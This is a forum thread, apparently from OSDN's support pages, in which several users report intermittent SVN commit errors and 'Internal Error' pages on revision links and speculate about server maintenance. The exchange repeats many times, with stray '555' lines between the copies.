(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
555
555
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
